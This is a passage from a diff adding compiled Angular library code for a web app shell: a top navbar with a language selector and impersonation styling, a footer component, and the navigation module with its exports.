*ngIf=\"impersonatedUser\" class=\"nav navbar-top-links navbar-right language-select\">\n <select class=\"form-control choose-language\" [(ngModel)]=\"locale\">\n <option *ngFor=\"let lang of userData?.locales\" value=\"{{ lang.id }}\">{{ lang.text }}</option>\n </select>\n </div>\n </div>\n <p>ajhsadashadsh</p>\n <wll-empty-block region=\"upper\"></wll-empty-block>\n\n<!-- <div class=\"navbar-right-fixed lower\">-->\n<!-- <app-service-status></app-service-status>-->\n<!-- </div>-->\n\n <div class=\"lower-navbar-wrapper\">\n <div class=\"breadcrumbs-wrapper\">\n <wll-breadcrumbs [title]=\"title\" [breadcrumbs]=\"breadcrumbs\"></wll-breadcrumbs>\n </div>\n </div>\n\n <wll-empty-block region=\"lower\"></wll-empty-block>\n\n <div class=\"navbar-gap\"></div>\n</div>\n", styles: ["ul{position:relative;left:25px}.navbar{position:fixed;border-bottom:1px solid #ccc;margin-bottom:0;width:100%}.navbar-right-fixed{position:fixed;top:0;right:0}.navbar-right-fixed.upper{top:0;z-index:1000}.navbar-right-fixed.lower{top:73px;width:270px;margin-right:35px;z-index:3}.logout-list-item{position:relative;right:40px}.logout-list-item a:hover{color:#696c6e}.navbar-minimalize{border:1px solid #ececec;color:#878787;margin-left:25px}.navbar-minimalize:hover{color:#273646}.lower-navbar-wrapper{width:100%;position:fixed;height:81px;z-index:2;background-color:#f3f3f4;border-bottom:1px solid #ececec;margin-left:-15px}.breadcrumbs-wrapper{margin:12px 0 0 23px}.navbar-gap{height:12px}.navbar-left{float:left}.beta-version a{cursor:default;opacity:0}.impersonated-user{background-color:#d9534f;color:#fff}.impersonated-user .navbar-minimalize,.nav.navbar-right ul.impersonated-user,.nav.navbar-right.impersonated-user>li>a{color:#fff}.language-select{margin-top:14px}\n"], components: [{ type: i5$1.WlEmptyBlockComponent, selector: "wll-empty-block", inputs: ["region"] }, { type: i5$1.BreadcrumbsComponent, selector: "wll-breadcrumbs", inputs: ["title", "breadcrumbs", "homeRoute"] }], directives: [{ type: i4.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }, { type: i4.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i7.SelectControlValueAccessor, selector: "select:not([multiple])[formControlName],select:not([multiple])[formControl],select:not([multiple])[ngModel]", inputs: ["compareWith"] }, { type: i7.NgControlStatus, selector: "[formControlName],[ngModel],[formControl]" }, { type: i7.NgModel, selector: "[ngModel]:not([formControlName]):not([formControl])", inputs: ["name", "disabled", "ngModel", "ngModelOptions"], outputs: ["ngModelChange"], exportAs: ["ngModel"] }, { type: i4.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i7.NgSelectOption, selector: "option", inputs: ["ngValue", "value"] }, { type: i7.ɵNgSelectMultipleOption, selector: "option", inputs: ["ngValue", "value"] }], pipes: { "translate": i5.TranslatePipe } });
363
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarComponent, decorators: [{
364
+ type: Component,
365
+ args: [{
366
+ selector: 'wl-shell-top-navbar',
367
+ templateUrl: './wl-top-navbar.component.html',
368
+ styleUrls: ['./wl-top-navbar.component.scss']
369
+ }]
370
+ }], ctorParameters: function () { return [{ type: i1.ActivatedRoute }, { type: i1.Router }, { type: WlTopNavbarService }, { type: NavigationService }, { type: i4$1.Title }]; }, propDecorators: { environment: [{
371
+ type: Input
372
+ }], userData: [{
373
+ type: Input
374
+ }], logout: [{
375
+ type: Output
376
+ }], changeLocale: [{
377
+ type: Output
378
+ }], openFeedbackModal: [{
379
+ type: Output
380
+ }], endImpersonationSession: [{
381
+ type: Output
382
+ }], toggleNavigationExpanded: [{
383
+ type: Output
384
+ }] } });
385
+
386
+ class WlFooterComponent {
387
+ constructor() {
388
+ this.copyright = "";
389
+ }
390
+ }
391
+ WlFooterComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlFooterComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
392
+ WlFooterComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WlFooterComponent, selector: "wl-shell-footer", inputs: { copyright: "copyright" }, ngImport: i0, template: "<div class=\"row m-b\"></div>\n<br />\n<!-- Live Status-->\n<!--<app-live-messages></app-live-messages>-->\n\n<div class=\"page-footer\">\n <strong [innerHTML]=\"copyright\"></strong>\n</div>\n", styles: [".page-footer{background-color:#fff;position:fixed;width:100%;bottom:0;margin:0 0 0 -15px;padding:5px 25px;opacity:.9;z-index:99998}.page-footer-right-fixed{position:fixed;bottom:0;right:0;background-color:transparent;padding:5px 25px;z-index:99999}\n"] });
393
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlFooterComponent, decorators: [{
394
+ type: Component,
395
+ args: [{
396
+ selector: 'wl-shell-footer',
397
+ templateUrl: './wl-footer.component.html',
398
+ styleUrls: ['./wl-footer.component.scss']
399
+ }]
400
+ }], propDecorators: { copyright: [{
401
+ type: Input
402
+ }] } });
403
+
404
+ class NavigationModule {
405
+ }
406
+ NavigationModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
407
+ NavigationModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, declarations: [WlNavigationComponent,
408
+ WlTopNavbarComponent,
409
+ WlFooterComponent], imports: [CommonModule,
410
+ TranslateModule,
411
+ RouterModule,
412
+ FormsModule,
413
+ WlBreadcrumbsModule,
414
+ WlEmptyBlockModule], exports: [WlNavigationComponent,
415
+ WlTopNavbarComponent,
416
+ WlFooterComponent] });
417
+ NavigationModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, imports: [[
418
+ CommonModule,
419
+ TranslateModule,
420
+ RouterModule,
421
+ FormsModule,
422
+ WlBreadcrumbsModule,
423
+ WlEmptyBlockModule
424
+ ]] });
425
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, decorators: [{
426
+ type: NgModule,
427
+ args: [{
428
+ declarations: [
429
+ WlNavigationComponent,
430
+ WlTopNavbarComponent,
431
+ WlFooterComponent,
432
+ ],
433
+ imports: [
434
+ CommonModule,
435
+ TranslateModule,
436
+ RouterModule,
437
+ FormsModule,
438
+ WlBreadcrumbsModule,
439
+ WlEmptyBlockModule
440
+ ],
441
+ exports: [
442
+ WlNavigationComponent,
443
+ WlTopNavbarComponent,
444
+ WlFooterComponent
445
+ ]
446
+ }]
447
+ }] });
448
+
449
+ /*
450
+ * Public API Surface of wl-shell-layout
451
+ */
452
+
453
+ /**
454
+ * Generated bundle index. Do not edit.
455
+ */
456
+
457
+ export { NavigationModule, NavigationService, WlFooterComponent, WlNavigationComponent, WlTopNavbarComponent, WlTopNavbarService };